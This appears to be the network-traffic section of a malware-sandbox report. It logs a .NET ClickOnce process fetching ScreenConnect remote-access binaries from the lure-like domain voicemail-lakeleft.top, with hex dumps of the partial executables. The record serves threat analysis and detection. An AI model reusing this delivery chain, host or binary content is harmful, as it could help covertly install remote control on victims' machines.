2024-11-08 10:01:19 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49736	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:20 UTC	135	OUT	GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:20 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 81696 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:20 GMT Connection: close
2024-11-08 10:01:20 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 da a7 bb 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 40 00 00 00 d4 00 00 00 00 00 00 e6 5e 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 02 00 00 6a 8b 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP"0@^ `@ `j@
2024-11-08 10:01:20 UTC	16384	IN	Data Raw: 2d 34 35 32 62 2d 38 39 37 35 2d 37 34 61 38 35 38 32 38 64 33 35 34 00 00 13 01 00 02 00 00 00 04 54 65 78 74 05 53 74 61 74 65 00 00 08 01 00 0b 00 00 00 00 00 00 00 d2 59 fd a1 c3 db f8 b2 a8 38 41 41 b5 70 2f b9 70 e0 44 04 4a 6f 16 7f 54 f3 2d 91 6d bf ac 66 21 46 ef be d1 1e 85 dd 2b 75 b8 ff 7a 0d c8 39 d0 7b 2a 86 54 8d 79 d9 5d b2 8a 3c 12 a6 c1 3c 94 5c c5 c2 54 9b e5 b0 38 01 34 d6 47 4a 0b 62 7d 82 0a bc 8e 63 9f ae dc 13 7e 39 98 c7 b5 f2 fd 11 5b 4c 23 82 a4 fd 40 df 22 18 d8 3f 0b 56 59 b3 b5 88 4c 17 d4 e9 59 bc f3 d5 72 d6 78 1b 00 00 00 00 81 c5 e8 85 00 00 00 00 02 00 00 00 7b 00 00 00 18 5e 00 00 18 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 53 44 53 cb 4c a1 5b 4d 39 69 48 9a 46 34 Data Ascii: -452b-8975-74a85828d354TextStateY8AAp/pDJoT-mf!F+uz9{*Ty]<<\T84GJb}c~9[L#@"?VYLYrx{^@RSDSL[M9iHF4
2024-11-08 10:01:20 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 d2 ff ff 55 d1 fe ff 54 d0 fd ff 53 cf fb ff 52 cc f8 ff 51 c9 f4 ff 50 c6 f0 ff 4e c2 eb ff 4c bc e5 ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff 4c bc e5 ff 4e c2 eb ff 50 c6 f0 ff 51 c9 f4 ff 52 cc f8 ff 53 ce fa ff 54 d0 fd ff 55 d1 fe ff 55 d2 ff Data Ascii: UUTSRQPNL::::::::::::::::::::::::::::::::::::::LNPQRSTUU
2024-11-08 10:01:21 UTC	16384	IN	Data Raw: 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 00 00 00 Data Ascii: fffffffffffffffgggggggggggggggggggggggggggggggggggggggggg
2024-11-08 10:01:21 UTC	16376	IN	Data Raw: 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 6e cd f3 ff 85 e0 ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 9a e5 ff ef 00 00 00 00 00 00 00 00 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 cf 00 9f e0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9f e0 ef 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 cf 00 9f e0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49743	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:21 UTC	123	OUT	GET /Bin/ScreenConnect.Client.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:22 UTC	217	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 197120 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:21 GMT Connection: close
2024-11-08 10:01:22 UTC	16167	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5a 3c cd b8 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 fa 02 00 00 06 00 00 00 00 00 00 82 18 03 00 00 20 00 00 00 20 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 03 00 00 02 00 00 9e 14 03 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELZ<" 0 `@
2024-11-08 10:01:22 UTC	16384	IN	Data Raw: 00 0a 26 06 72 59 01 00 70 6f 76 00 00 0a 26 02 06 28 f6 02 00 06 2c 09 06 1f 20 6f 77 00 00 0a 26 06 1f 7d 6f 77 00 00 0a 26 06 6f 29 00 00 0a 2a 0a 16 2a 2e 02 03 28 f8 02 00 06 16 fe 01 2a 26 0f 00 03 28 fb 02 00 06 2a 0a 16 2a 5e 03 75 77 00 00 02 2c 0d 02 03 a5 77 00 00 02 28 fb 02 00 06 2a 16 2a 0a 17 2a 00 13 30 02 00 40 00 00 00 0c 00 00 11 73 75 00 00 0a 0a 06 72 c3 0f 00 70 6f 76 00 00 0a 26 06 72 59 01 00 70 6f 76 00 00 0a 26 02 06 28 fd 02 00 06 2c 09 06 1f 20 6f 77 00 00 0a 26 06 1f 7d 6f 77 00 00 0a 26 06 6f 29 00 00 0a 2a 0a 16 2a 2e 02 03 28 ff 02 00 06 16 fe 01 2a 26 0f 00 03 28 02 03 00 06 2a 0a 16 2a 5e 03 75 78 00 00 02 2c 0d 02 03 a5 78 00 00 02 28 02 03 00 06 2a 16 2a 0a 17 2a 00 13 30 02 00 40 00 00 00 0c 00 00 11 73 75 00 00 0a 0a Data Ascii: &rYpov&(, ow&}ow&o)*.(&(^uw,w(0@surpov&rYpov&(, ow&}ow&o).(&(^ux,x(*0@su
2024-11-08 10:01:22 UTC	16384	IN	Data Raw: 04 02 7e 2c 02 00 0a 7d 06 01 00 04 02 15 7d 07 01 00 04 02 28 ef 00 00 0a 6f 2f 02 00 0a 7d 04 01 00 04 02 7b 04 01 00 04 03 06 7b 6b 01 00 04 6f 30 02 00 0a 06 7b 6b 01 00 04 6f 31 02 00 0a 6f 32 02 00 0a 02 7b 04 01 00 04 05 0e 04 6f 33 02 00 0a 02 7b 04 01 00 04 16 16 06 7b 6b 01 00 04 6f 30 02 00 0a 06 7b 6b 01 00 04 6f 31 02 00 0a 73 95 01 00 0a 06 fe 06 b5 04 00 06 73 34 02 00 0a 28 35 02 00 0a de 10 26 02 28 14 04 00 06 fe 1a 07 28 bd 00 00 0a dc 2a 00 00 00 01 1c 00 00 00 00 66 00 76 dc 00 09 16 00 00 01 02 00 1a 00 cb e5 00 07 00 00 00 00 1b 30 03 00 42 00 00 00 25 00 00 11 02 7b 03 01 00 04 0a 06 28 b8 00 00 0a 02 28 15 04 00 06 72 cb 17 00 70 18 28 36 02 00 0a 26 02 17 28 1e 04 00 06 de 19 02 7b 04 01 00 04 6f 37 02 00 0a 02 28 14 04 00 06 dc Data Ascii: ~,}}(o/}{{ko0{ko1o2{o3{{ko0{ko1ss4(5&((*fv0B%{((rp(6&({o7(
2024-11-08 10:01:22 UTC	16384	IN	Data Raw: 01 47 1f 16 00 f6 03 58 1f 16 00 30 07 69 1f 16 00 ab 08 47 1f 16 00 30 04 71 1f 16 00 4d 07 7b 1f 16 00 01 00 85 1f 16 00 3b 03 85 1f 06 00 ce 72 8e 1f 06 00 69 5c 9d 1d 06 00 ce 72 8e 1f 06 00 a5 75 8e 1d 01 00 e3 74 93 1f 01 00 e5 59 a9 10 01 00 50 37 99 1f 36 00 56 0a 9e 1f 16 00 8a 02 a3 1f 36 00 56 0a af 1f 16 00 a0 00 a3 1f 36 00 56 0a e6 11 16 00 70 00 dc 11 16 00 94 03 52 12 06 00 12 81 64 07 06 00 06 63 b4 11 06 00 7b 6d 0f 11 06 00 ce 72 b9 11 06 00 71 32 c6 11 06 00 9c 79 cb 11 06 00 90 83 a6 10 06 00 a9 62 2c 13 06 00 ce 72 b9 11 06 00 19 0d 58 04 06 00 26 77 b4 1f 06 00 ce 72 b9 1f 06 00 ac 65 7a 1e 06 00 7d 5d cb 11 36 00 56 0a be 1f 16 00 6c 01 c3 1f 06 00 ce 72 d5 1f 06 00 12 81 2a 1f 06 00 1a 63 da 1f 06 00 e4 7d 74 1d 06 00 79 59 ec 1f Data Ascii: GX0iG0qM{;ri\rutYP76V6V6VpRdc{mrq2yb,rX&wrez}]6Vlr*c}tyY
2024-11-08 10:01:22 UTC	16384	IN	Data Raw: b2 00 00 00 00 c4 01 1e 2a ce 2b e8 03 8c b2 00 00 00 00 94 00 7b 3e d8 2b e9 03 00 00 00 00 00 00 c4 05 42 64 e2 2b ea 03 2f b3 00 00 00 00 81 00 bc 71 e2 2b eb 03 50 b3 00 00 00 00 c4 00 58 10 d1 21 ec 03 a0 b9 00 00 00 00 81 00 81 2a e9 2b ed 03 08 ba 00 00 00 00 91 00 00 0f f8 2b f0 03 a0 ba 00 00 00 00 81 00 6a 09 08 2c f4 03 c0 ba 00 00 00 00 91 18 97 66 aa 20 f5 03 cc ba 00 00 00 00 86 18 91 66 01 00 f5 03 d4 ba 00 00 00 00 83 00 87 01 0f 2c f5 03 f3 ba 00 00 00 00 91 18 97 66 aa 20 f6 03 ff ba 00 00 00 00 86 18 91 66 01 00 f6 03 07 bb 00 00 00 00 83 00 3a 00 20 2c f6 03 0f bb 00 00 00 00 83 00 74 03 27 2c f7 03 17 bb 00 00 00 00 83 00 a3 01 78 29 f8 03 2a bb 00 00 00 00 86 18 91 66 01 00 f9 03 32 bb 00 00 00 00 83 00 b9 02 76 07 f9 03 56 bb 00 00 Data Ascii: +{>+Bd+/q+PX!++j,f f,f f: ,t',x)*f2vV
2024-11-08 10:01:22 UTC	16384	IN	Data Raw: 1c 41 13 6b 00 a0 1c 60 13 6b 00 a0 1c 61 13 1a 00 db 2e 61 13 6b 00 a0 1c 80 13 6b 00 a0 1c a3 13 6b 00 a0 1c c3 13 6b 00 a0 1c e1 13 6b 00 a0 1c e3 13 6b 00 a0 1c 01 14 6b 00 a0 1c 03 14 6b 00 a0 1c 21 14 6b 00 a0 1c 41 14 6b 00 a0 1c 60 14 6b 00 a0 1c 61 14 6b 00 a0 1c 63 14 6b 00 a0 1c 81 14 6b 00 a0 1c 83 14 6b 00 a0 1c a0 14 6b 00 a0 1c a1 14 6b 00 a0 1c c1 14 6b 00 a0 1c c3 14 6b 00 a0 1c e1 14 6b 00 a0 1c e3 14 6b 00 a0 1c 01 15 6b 00 a0 1c 03 15 6b 00 a0 1c 21 15 6b 00 a0 1c 23 15 6b 00 a0 1c 41 15 1a 00 5c 2f 41 15 6b 00 a0 1c 44 15 c2 05 a0 1c 61 15 6b 00 a0 1c 63 15 6b 00 a0 1c 80 15 6b 00 a0 1c 81 15 6b 00 a0 1c 83 15 6b 00 a0 1c a0 15 6b 00 a0 1c a1 15 1a 00 db 2e a1 15 6b 00 a0 1c a3 15 6b 00 a0 1c c0 15 6b 00 a0 1c c1 15 6b 00 a0 1c c3 15 Data Ascii: Ak`ka.akkkkkkkk!kAk`kakckkkkkkkkkkk!k#kA\/AkDakckkkkk.kkkk
2024-11-08 10:01:23 UTC	16384	IN	Data Raw: 52 65 71 75 65 73 74 49 44 00 3c 3e 4f 00 53 79 73 74 65 6d 2e 49 4f 00 3c 73 74 72 65 61 6d 49 44 3e 50 00 43 61 6c 63 75 6c 61 74 65 46 50 53 00 54 00 67 65 74 5f 58 00 74 69 6c 65 58 00 67 65 74 5f 59 00 74 69 6c 65 59 00 76 61 6c 75 65 5f 5f 00 55 6e 69 6f 6e 55 6e 6c 65 73 73 4e 6f 41 72 65 61 00 67 65 74 5f 44 61 74 61 00 73 65 74 5f 44 61 74 61 00 73 6f 75 6e 64 44 61 74 61 00 57 72 69 74 65 4d 65 73 73 61 67 65 44 61 74 61 00 67 65 74 5f 46 72 61 6d 65 44 61 74 61 00 73 65 74 5f 46 72 61 6d 65 44 61 74 61 00 53 69 67 6e 44 61 74 61 00 67 65 74 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 44 61 74 61 00 73 65 74 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 44 61 74 61 00 49 42 69 74 6d 61 70 44 61 74 61 00 62 69 74 6d 61 70 44 61 74 61 00 64 61 74 Data Ascii: RequestID<>OSystem.IO<streamID>PCalculateFPSTget_XtileXget_YtileYvalue__UnionUnlessNoAreaget_Dataset_DatasoundDataWriteMessageDataget_FrameDataset_FrameDataSignDataget_AuthenticationDataset_AuthenticationDataIBitmapDatabitmapDatadat
2024-11-08 10:01:23 UTC	16384	IN	Data Raw: 6b 4d 6f 6e 69 74 6f 72 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 4f 70 65 6e 4d 6f 6e 69 74 6f 72 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6e 74 72 6f 6c 50 61 6e 65 6c 4d 65 73 73 61 67 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 53 65 6e 64 43 6c 69 70 62 6f 61 72 64 4b 65 79 73 74 72 6f 6b 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 53 65 6e 64 46 69 6c 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 52 65 63 65 69 76 Data Ascii: kMonitor.pngScreenConnect.Properties.CommandOpenMonitor.pngScreenConnect.Properties.ControlPanelMessages.pngScreenConnect.Properties.CommandSendClipboardKeystrokes.pngScreenConnect.Properties.CommandSendFiles.pngScreenConnect.Properties.CommandReceiv
2024-11-08 10:01:23 UTC	16384	IN	Data Raw: 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 3b 53 00 65 00 6c 00 65 00 63 00 74 00 53 00 6f 00 75 00 6e 00 64 00 43 00 61 00 70 00 74 00 75 00 72 00 65 00 4d 00 6f 00 64 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 27 53 00 6f 00 75 00 6e 00 64 00 43 00 61 00 70 00 74 00 75 00 72 00 65 00 4d 00 6f 00 64 00 65 00 20 00 3d 00 20 00 00 2b 53 00 65 00 6c 00 65 00 63 00 74 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 27 4d 00 75 00 74 00 65 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 31 53 00 65 00 74 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 13 56 00 6f 00 6c 00 Data Ascii: ommand;SelectSoundCaptureModeCommand'SoundCaptureMode = +SelectSpeakersCommand'MuteSpeakersCommand1SetSpeakersVolumeCommandVol
2024-11-08 10:01:23 UTC	16384	IN	Data Raw: 72 74 4d 69 6c 6c 69 73 65 63 6f 6e 64 43 6f 75 6e 74 13 57 61 73 4e 65 74 77 6f 72 6b 52 65 61 63 68 61 62 6c 65 13 57 61 73 48 61 6e 64 73 68 61 6b 65 53 74 61 72 74 65 64 15 57 61 73 48 61 6e 64 73 68 61 6b 65 43 6f 6d 70 6c 65 74 65 64 00 00 21 01 00 02 00 00 00 10 4d 65 74 72 69 63 73 45 6e 74 72 79 54 79 70 65 07 4d 69 6e 69 6d 75 6d 00 00 26 01 00 84 6b 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 26 01 00 4c 14 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 26 01 00 02 00 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 06 01 00 e4 00 00 00 06 01 00 48 00 00 00 06 01 00 49 00 00 00 06 Data Ascii: rtMillisecondCountWasNetworkReachableWasHandshakeStartedWasHandshakeCompleted!MetricsEntryTypeMinimum&kTAllowMultipleTInherited&LTAllowMultipleTInherited&TAllowMultipleTInheritedHI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49756	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:24 UTC	130	OUT	GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:24 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 68096 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:24 GMT Connection: close
2024-11-08 10:01:24 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 d8 54 90 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 02 01 00 00 06 00 00 00 00 00 00 ba 20 01 00 00 20 00 00 00 40 01 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 01 00 00 02 00 00 64 fa 01 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0T" 0 @ d@
2024-11-08 10:01:24 UTC	16384	IN	Data Raw: 00 00 0a 07 6f 11 00 00 0a 2d d0 de 0a 07 2c 06 07 6f 10 00 00 0a dc 06 7b 54 00 00 04 6f 24 02 00 0a 13 04 2b 5a 11 04 6f 25 02 00 0a 13 05 02 7b 53 00 00 04 7b 0d 00 00 04 11 05 73 26 02 00 0a 25 02 7b 52 00 00 04 28 f8 00 00 0a 7e 30 00 00 04 25 2d 17 26 7e 2b 00 00 04 fe 06 6d 00 00 06 73 06 02 00 0a 25 80 30 00 00 04 28 5f 00 00 2b 6f 27 02 00 0a 73 81 00 00 0a 6f 82 00 00 0a 11 04 6f 11 00 00 0a 2d 9d de 0c 11 04 2c 07 11 04 6f 10 00 00 0a dc 2a 01 1c 00 00 02 00 65 00 34 99 00 0a 00 00 00 00 02 00 b0 00 67 17 01 0c 00 00 00 00 1e 02 28 1d 00 00 0a 2a 56 02 7b 54 00 00 04 03 6f 23 02 00 0a 6f 28 02 00 0a 16 fe 01 2a 1e 02 28 1d 00 00 0a 2a 4a 02 7b 56 00 00 04 6f 29 02 00 0a 03 28 2a 02 00 0a 2a 1e 02 28 1d 00 00 0a 2a 00 00 00 13 30 03 00 43 00 00 Data Ascii: o-,o{To$+Zo%{S{s&%{R(~0%-&~+ms%0(_+o'soo-,oe4g(V{To#o((J{Vo)(*(0C
2024-11-08 10:01:25 UTC	16384	IN	Data Raw: 27 15 19 04 ae 2d 2d 15 19 04 cd 2e 37 15 b1 04 3c 27 3e 15 31 04 cb 31 78 09 29 04 e0 42 f6 00 e9 04 fe 42 56 15 f4 00 9b 18 81 02 31 04 a5 32 5c 15 f4 03 71 3a a1 00 fc 03 71 3a a1 00 19 04 ca 2d 85 15 11 03 71 3a 6a 04 09 03 5e 30 9e 15 d9 07 e5 35 a7 15 09 03 42 2c ad 15 e1 07 6b 29 06 00 19 03 5d 31 20 02 31 04 83 2d bd 15 29 04 84 31 6a 04 19 03 80 25 20 02 29 04 ad 25 6a 04 19 03 99 1b 20 02 29 04 c6 1b 6a 04 e1 07 61 29 06 00 21 03 f7 2e 20 02 d1 00 ea 49 c5 15 29 04 04 2f 6a 04 a9 04 31 3d b2 11 8c 03 8d 08 5a 04 e9 04 b2 49 bd 0a 04 04 f8 3e 46 00 8c 03 52 0b 5e 04 e9 04 cd 42 d8 15 31 04 e2 34 e0 15 29 04 e0 46 14 01 d1 01 9a 42 ef 15 5c 02 de 2c 63 00 09 02 e1 2e 14 01 69 02 c8 41 00 16 69 02 c3 17 14 01 29 05 7a 2d f6 00 59 03 d0 2d 06 16 a4 Data Ascii: '--.7<'>11x)BBV12\q:q:-q:j^05B,k)]1 1-)1j% )%j )ja)!. I)/j1=ZI>FR^B14)FB\,c.iAi)z-Y-
2024-11-08 10:01:25 UTC	16384	IN	Data Raw: 69 74 79 41 63 74 69 6f 6e 00 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 00 53 65 74 74 69 6e 67 73 50 72 6f 70 65 72 74 79 56 61 6c 75 65 43 6f 6c 6c 65 63 74 69 6f 6e 00 47 72 6f 75 70 43 6f 6c 6c 65 63 74 69 6f 6e 00 57 61 69 74 69 6e 67 46 6f 72 43 6f 6e 6e 65 63 74 69 6f 6e 00 57 69 6e 33 32 45 78 63 65 70 74 69 6f 6e 00 43 72 79 70 74 6f 67 72 61 70 68 69 63 45 78 63 65 70 74 69 6f 6e 00 4e 6f 74 53 75 70 70 6f 72 74 65 64 45 78 63 65 70 74 69 6f 6e 00 54 72 61 63 65 45 78 63 65 70 74 69 6f 6e 00 45 6e 64 4f 66 53 74 72 65 61 6d 45 78 63 65 70 74 69 6f 6e 00 52 75 6e 57 69 74 68 43 72 61 73 68 4f 6e 45 78 63 65 70 74 69 6f 6e 00 54 72 79 53 75 62 73 63 72 69 62 65 54 6f 4c 6f 67 41 70 70 44 6f 6d 61 69 6e 45 78 63 65 70 74 69 6f 6e 00 49 6e Data Ascii: ityActionSystem.ReflectionSettingsPropertyValueCollectionGroupCollectionWaitingForConnectionWin32ExceptionCryptographicExceptionNotSupportedExceptionTraceExceptionEndOfStreamExceptionRunWithCrashOnExceptionTrySubscribeToLogAppDomainExceptionIn
